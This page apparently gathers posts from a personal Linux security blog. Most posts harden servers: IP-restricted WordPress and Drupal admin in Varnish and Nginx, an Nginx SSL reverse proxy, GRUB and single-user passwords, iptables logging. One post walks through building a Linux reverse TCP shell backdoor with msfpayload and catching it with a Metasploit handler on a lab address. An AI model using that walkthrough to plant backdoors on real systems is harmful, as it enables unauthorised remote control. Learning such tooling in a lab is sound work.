Skip to main content

You are here

Security

Locking Down WordPress Access with Varnish 3.x

I have Varnish in front of all my WordPress sites and configured all /wp-admin traffic use https via Nginx. See https://www.rubysecurity.org/wordpress_admin-ssl

So to lock down access to my WordPress site's requires both Varnish and Nginx configs to be modified.

Block at the http Varnish level:

sub vcl_recv {
    if ((req.url ~ "wp-(login|admin)") && (client.ip !~ MY-IP-ADDRESS)) {
                error 403 "Fuck off";
        }
}

Block at the https Nginx level (using shit.alpha01.org as an example):

                location /wp-admin {
                        allow   MY-IP-ADDRESS;
                        deny all;
                        proxy_pass https://shit.alpha01.org/wp-admin;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header Host $http_host;
                }
                location /wp-login.php {
                        allow MY-IP-ADDRESS;
                        deny all;
                        proxy_pass https://shit.alpha01.org/wp-login.php;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header Host $http_host;
                }

Linux: 

Awesome Applications: 

Locking Down Drupal Access with Nginx

This site is powered by Drupal. Drupal and WordPress for that matter, are well targeted platforms, mainly because of their large install base on the internet. Quite frankly the reason I bother using both Drupal and WordPress instead of a flat-file based CMS is because I have to deal with these web applications at work on a daily basis, so it's a great way to keep myself current with the technology that's paying my bills.

I have Nginx acting as an SSL proxy for www.rubysecurity.org, which is hosted on an Apache back-end. So I have a few configs that I've enabled to lock down access to my Drupal site. The configs are made at the Nginx proxy level, so they can never reach Apache.

Firstly, I have all of Drupal's /admin locked out from outside access:

        location = /admin {
                allow MY-HOME-IP-ADDRESS;
                deny all;
                return 403;
        }

Next, I only allow login access from my home ip address:

        location = /user {
                allow MY-HOME-IP-ADDRESS;
                deny all;

                proxy_pass https://www.rubysecurity.org/user;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header Host $http_host;
        }

Lastly, since Nginx is unable to process query strings at the location block level, I've setup an additional config to drop all user login query requests.

       if ($args ~* "q=user") {
                set $blockme  M;
        }
        if ($remote_addr != MY-HOME-IP-ADDRESS) {
                set $blockme  "${blockme}E";
        }
        if ($blockme = ME) {
                return 403;
       }

Linux: 

Awesome Applications: 

Msfpayload Greatness - Creating a Simple Backdoor

So it's Saturday night, I don't have a date, nor am I drunk, so lets hack!

I'm not a Metasploit ninja what so ever, and the basic MSF knowledge I have is playing with it via msfconsole. I've heard of msfpayload and its capabilities, but I've never gotten a chance to play around with it until now. Holyshit, msfpayload is freaking awesome! Msfpayload essentially gives you the ability to export payloads into a standalone binary executable or dll and yet even cooler, as well as the actual raw shellcode representation in either C, C#, Perl, Ruby, JS, VBA, and Python.

To illustrate its greatness, its dead simple to create a standalone backdoor that you can deploy onto any system.

Syntax is straight forward:

[email protected]:~# msfpayload -h

    Usage: /opt/metasploit/apps/pro/msf3/msfpayload [< options >]  < payload > [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>

OPTIONS:

    -h       Help banner
    -l       List available payloads

So lets create our self a simple tcp reverse shell. Communicating with the payload is practically identical as with msfconsole, in this case the LHOST, listening parameter is required. X, parameter is saying that we want a binary executable, and we save the file as cool_shit.

[email protected]:~# msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.56.102 X > cool_shit
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 71
Options: {"LHOST"=>"192.168.56.102"}

At this point, assuming the backdoor has been copied to the victim's system. The attacking computer can initiate the payload.

[email protected]:~# msfcli multi/handler payload=linux/x86/shell/reverse_tcp LHOST=192.168.56.102 E
[*] Initializing modules...
[-] Failed to connect to the database: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432?

payload => linux/x86/shell/reverse_tcp
LHOST => 192.168.56.102
[*] Started reverse handler on 192.168.56.102:4444
[*] Starting the payload handler...

From here the attacker waits, until the backdoor is run on the victims computer.
Reverse TCP Shell

Their a few gotchas and quirks that I noticed. The payload handler has to initiated on the attacker's system prior to running the backdoor, other wise the reverse shell backdoor will crash.

[email protected]-vm:~$ ./cool_shit
Segmentation fault (core dumped)

(Detailed strace output)

xecve("./cool_shit", ["./cool_shit"], [/* 20 vars */]) = 0
[ Process PID=4859 runs in 32 bit mode. ]
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.56.102")}, 102) = -1 ECONNREFUSED (Connection refused)
syscall_4294967165(0xffaa1000, 0x1000, 0x7, 0, 0x3, 0) = -1 (errno 38)
syscall_4294967043(0x3, 0xffaa15b8, 0xffff0cff, 0, 0x3, 0) = -1 (errno 38)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x66ffaa} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

The second quirk was that I wasn't able to properly get a native shell session, but rather just limited to session's commands
Reverse TCP Shell

Even the process itself on the victim's system gave /bin//sh instead of /bin/sh ....

root 4227 0.0 0.1 61364 3052 ? Ss 22:53 0:00 /usr/sbin/sshd -D
root 4323 0.0 0.2 109784 4280 ? Ss 22:53 0:00 \_ sshd: tony [priv]
tony 4359 0.0 0.0 109932 1948 ? S 22:53 0:00 | \_ sshd: [email protected]/1
tony 4360 0.0 0.1 26908 4024 pts/1 Ss 22:53 0:00 | \_ -bash
tony 4874 0.0 0.0 4444 652 pts/1 S+ 23:48 0:00 | \_ /bin//sh

I haven't done much research on this quirk, it may just be some mistake on my end.

Obviously, malicious backdoors are a lot more sophisticated than this, however the fact that the Metasploit Framework lets us easily create them, as proof-of-concept this is truly amazing.

Reference: http://www.offensive-security.com/metasploit-unleashed/Msfpayload

Linux: 

Awesome Applications: 

Reverse SSL Proxy with Nginx

Nginx is turning to be an awesome SSL reverse proxy server, although I can't say I've really put it to real heavy duty use or how it well scale since my sites have relatively slow traffic. Thus said, a reverse SSL proxy using Nginx is working flawless in my environment!

Since all of my sites are being served within a KVM guest using NAT networking, all SSL traffic has to go through the KVM host of which Nginx is being used to proxy the requests to the guest KVM. Nginx is awesome since it supports specifying multiple server blocks (think of virtul hosts in Apache) set to listen on port 443 within the main http block. With this configuration available, it is possible to specify different reverse proxy end points.

On my server I have enabled SSL for www.rubysecurity.org and www.rubyninja.org.

First thing I needed to do is to map the sites local IPs to the KVM hosts file.

192.168.100.208 rubysecurity.org www.rubysecurity.org
192.168.100.209 rubyninja.org www.rubyninja.org

Then configure nginx.conf (sample server blocks):

server {
        listen       443;
        server_name  www.rubysecurity.org;
        ssl                 on;
        ssl_certificate     /etc/nginx/certs/www.rubysecurity.org.bundled.crt;
        ssl_certificate_key /etc/nginx/certs/www.rubysecurity.org.key;


        location / {
            proxy_pass   https://www.rubysecurity.org;
	    
		    ### Set headers ####
            proxy_set_header        Accept-Encoding   "";
	        proxy_set_header        Host            $host;
	        proxy_set_header        X-Real-IP       $remote_addr;
	        proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
 
		    #proxy_set_header X-Forwarded-Proto https;##
		    #This is better##
	        proxy_set_header        X-Forwarded-Proto $scheme;
		    add_header              Front-End-Https   on;
 
            # We expect the downsteam servers to redirect to the right hostname, so don't do any rewrites here.
            proxy_redirect     off;
        }
    }

 	server {
        	listen   443;
        	server_name www.rubyninja.org;
        	ssl on;
        	ssl_certificate     /etc/nginx/certs/www.rubyninja.org.bundled.crt;
        	ssl_certificate_key /etc/nginx/certs/www.rubyninja.org.key;

	    location / {
            proxy_pass   https://www.rubyninja.org;

            ### Set headers ####
            proxy_set_header        Accept-Encoding   "";
            proxy_set_header        Host            $host;
            proxy_set_header        X-Real-IP       $remote_addr;
            proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;

            #proxy_set_header X-Forwarded-Proto https;##
            #This is better##
            proxy_set_header        X-Forwarded-Proto $scheme;
            #add_header              Front-End-Https   on;

            # We expect the downsteam servers to redirect to the right hostname, so don't do any rewrites here.
            proxy_redirect     off;
        }

One interesting thing in Nginx with SSL is that it doesn't have a dedicated Certificate Authority (CA) ssl certificate directive, unlike SSLCACertificateFile in Apache. Instead the CA certificate has to be bundled with the public ssl certificate, which it's really not a big deal given that multiple CA's tend to bundle their intermediate CA certificates similarly.

Linux: 

Awesome Applications: 

Password protecting single user mode

I was surprise to find out how easy it was to password protect runlevel 1 aka single user mode in RHEL/CentOS.

Simply update the SINGLE variable in the file /etc/sysconfig/init

SINGLE=/sbin/sulogin

Single User mode password protected

If the root password cannot be retrieved/reset, then at this point the only option will be to boot into a rescue environment, assuming encryption hasn't been enabled.

Password protecting GRUB in RHEL/CentOS

Specifying a password to modify GRUB during the boot start-up phase can be initially set during the install, but it can also be manually added and or modified after the installation.

Using the grub-md5-crypt utility, you can generate an md5 hashed password (some security better than no security).

[[email protected] ~]# grub-md5-crypt
Password:
Retype password:
$1$/dvPV1$ngGsOO21eHj2lzEk7wg9d0

Now, is just a matter of adding the following entry in /boot/grub/grub.conf

password --md5 $1$/dvPV1$ngGsOO21eHj2lzEk7wg9d0

Restart, and voala.
GRUB image

Linux: 

Logging iptables rules

When debugging certain custom firewall rules, it can sometimes be extremely useful log the rule's activity.
For example, the following rule logs all input firewall activity. The logs will be available via dmesg or syslog.

iptables -A INPUT -j LOG --log-prefix " iptables INPUT "

Awesome Applications: 

Premium Drupal Themes by Adaptivethemes